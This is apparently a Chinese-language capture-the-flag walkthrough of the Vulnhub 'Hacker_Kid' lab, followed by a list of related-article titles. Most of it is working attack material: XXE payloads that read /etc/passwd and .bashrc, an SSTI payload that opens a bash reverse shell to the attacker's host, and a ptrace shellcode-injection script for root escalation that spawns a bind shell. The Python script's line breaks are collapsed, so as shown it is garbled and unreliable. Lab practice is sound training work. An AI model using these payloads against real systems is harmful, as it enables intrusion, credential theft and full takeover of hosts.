一、靶场介绍

1.下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova
2.将靶机网络适配器改为NAT模式
3.启动靶机

二、信息收集

1、主机发现

nmap -sn 192.168.111.1/24


2.端口扫描

3.目录扫描

dirsearch -u 192.168.111.135 -e *


4.网页访问

三、渗透流程

1.网页三个按钮,后两个会显示当前页面


2.发现url后都带了#,尝试删掉访问,发现并无可利用的功能点


3.查看网页源代码,寻找突破点

4.尝试加上page_no

5.根据提示,尝试使用BP爆破



6.发现21有点不一样,尝试访问

7.提示有一个hackers.blackhat.local域,使用dig将hackers.blackhat.local解析到192.168.2.174

dig axfr @192.168.111.135 blackhat.local


8.将找到的域名都添加到C:\Windows\System32\drivers\etc\hosts文件中,访问http://hackerkid.blackhat.local./发现一个注册页面

9.尝试注册,一直提示邮箱不合法

10.抓包查看一下,发现信息都是通过XML传输的

11.加入实体引用尝试

<!DOCTYPE foo [<!ENTITY  txt  SYSTEM   "file:///etc/passwd"  >]>



尝试读取.bashrc文件

<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>


12.对返回的数据进行解码,得到有用信息

username="admin"
password="Saket!#$%@!!"


13.访问网页9999端口,尝试登录,发生错误

14.使用同样有/bin/bash权限的saket用户登录

15.根据提示,加入name参数尝试

16.尝试payload,存在注入漏洞

?name={${1+zjxxxy},{{7-1}}
?name={{1+zjxxxy}}${1+zjxxxy}<%1+zjxxxy%>[zjxxxy]



17.反弹shell,将语句进行url编码

编码前:{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.111.129/7777 0>&1"')}}
编码后:%7b%25%20%69%6d%70%6f%72%74%20%6f%73%20%25%7d%7b%7b%6f%73%2e%73%79%73%74%65%6d%28%27%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%31%31%2e%31%32%39%2f%37%37%37%37%20%30%3e%26%31%22%27%29%7d%7d

浏览器访问:

18.Kali开启监听


19.查询具有capabilities权限的文件

/usr/sbin/getcap -r / 2>/dev/null


20.利用提权脚本,kali生成py文件

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes
import sys
import struct# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db.shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte.for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)


21.Kali开启http服务,靶机下载123.py文件


22.使用脚本对root进程进行批量尝试,执行成功,5600端口已被开启

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 123.py $i; done


23.使用kali连接5600端口,成功提权

nc 192.168.111.135 5600

Hacker_Kid-v1.0.1靶场相关推荐

  1. java 开源sns_JEESNS V1.0发布,JAVA 开源 SNS 社交系统

    JEESNS V1.0 发布了,本次更新内容: 增加后台管理员授权与取消功能 增加私信模块 解决在微博页面,左侧微博点赞过后,左侧展示列表小手会变黑,但是右侧热门出小手依然是白色 修复后台添加栏目.文 ...

  2. Kubernetes v1.0特性解析

    kubernetes1.0刚刚发布,开源社区400多位贡献者一年的努力,多达14000多次的代码提交,最终达到了之前预计的milestone, 并意味着这个开源容器编排系统可以正式在生产环境使用,必将 ...

  3. 企业智能化升级之路:CSDN《2017-2018中国人工智能产业路线图V1.0》重磅发布

    2017年是AI之年,人工智能领域多年的努力和积累终于勃发,从政府到民间,从国家战略到坊间热点,从学术圈到资本圈,从主流领导企业到创新独角兽,一时间全社会各个角落关注AI.走向AI.布局AI,AI正在 ...

  4. 开发者AI职业指南:CSDN《AI技术人才成长路线图V1.0》重磅发布

    人工智能浪潮来袭,开发者应该怎么办?2018年1月16日,在刚刚召开的"AI生态赋能2018论坛"上,CSDN副总裁孟岩重磅发布了AI技术职业升级指南--<AI 技术人才成长 ...

  5. 5万字的《Java面试手册》V1.0版本,高清PDF免费获取

    利用空余时间整理了一份<Java面试手册>,初衷也很简单,就是希望在面试的时候能够帮助到大家,减轻大家的负担和节省时间. 前两天,朋友圈分享了这份这份面试手册的初稿,再几位同学的提议下,对 ...

  6. 《大厂算法面试题目与答案汇总,剑指offer等常考算法题思路,python代码》V1.0版...

    为了进入大厂,我想很多人都会去牛客.知乎.CSDN等平台去查看面经,了解各个大厂在问技术问题的时候都会问些什么样的问题. 在看了几十上百篇面经之后,我将算法工程师的各种类型最常问到的问题都整理了出来, ...

  7. SQL防注入程序 v1.0

    /// ***************C#版SQL防注入程序 v1.0************ /// *使用方法: /// 一.整站防注入(推荐) /// 在Global.asax.cs中查找App ...

  8. XCMS V1.0 Beta1 发布

    XCMS V1.0 Beta1 发布 说明: XCMS是一个内容管理系统,是新生命开发团队利用业余时间开发的第一个成功项目! XCMS目前只有基本的文章发布.栏目管理.评论.用户管理和模板管理等功能. ...

  9. 程序安装包制作工具 v1.0官方版

    2019独角兽企业重金招聘Python工程师标准>>> 名称:程序安装包制作工具 v1.0官方版 版本:1.0更新日期:2016-06-27 大小:2.9MB软件语言:简体中文 软件 ...

  10. [Android应用]《花界》V1.0 正式版隆重发布!

    http://www.cnblogs.com/qianxudetianxia/archive/2012/04/05/2433669.html 1. 软件说明(1). 花界是一款看花软件:"看 ...

最新文章

  1. nodejs+html转换pdf,Nodejs中使用phantom将html转为pdf或图片格式的方法
  2. 熔断器---Hystrix
  3. 一段从TXT导入excel的py脚本
  4. OpenCV中Canny边缘检测
  5. Less的Mixin嵌套规则
  6. idea中配置Springboot热部署
  7. spring-data-redis和jedis版本对应问题
  8. Cocos2d-x游戏开发_战斗算法
  9. 计算机桌面图标往左进去只能看见一半,win7系统桌面图标只显示一半另外一半显示别的程序的解决方法...
  10. 苹果电脑双系统虚拟机怎么安装?
  11. 解密阿里云安全女程序员维棠 、牵尘代码诗!
  12. 许奔创新社-第21问:如何唤醒创造力?
  13. 【安全攻防知识-3】学习平台搭建汇总
  14. [c语言]0xC0000005访问冲突
  15. POI使用详解 java 复杂excel导出
  16. WPS表格 - 数字累加技巧总结
  17. 如何控制弹出窗口的大小、尺寸、位置等的样式
  18. 在IE右键添加菜单项和任务栏按钮
  19. jsp中能循环div吗_冬季亲子游泳的好处你们知道吗?
  20. win10任务栏点击右键无反应解决方法

热门文章

  1. 《联邦学习实战》杨强 读书笔记十四——构建公平的大数据交易市场
  2. 黑鸟每日安全资源推送​(求关注,良心推送)
  3. Chapter4:Traing Model
  4. python 英文关键词提取_python提取内容关键词的方法
  5. sms+cmgs+pdu+java_实现sms短信发送+pdu模式(支持中英文发送)
  6. 消防装备管理系统功能架构概述
  7. 数据新闻:大数据催生的新闻传播方式
  8. Python中单下划线和双下划线
  9. 实现ztree结合jquery的smartMenu.js插件对目录树的增删改查
  10. 开发疣猪飞行摇杆A10C(第二章)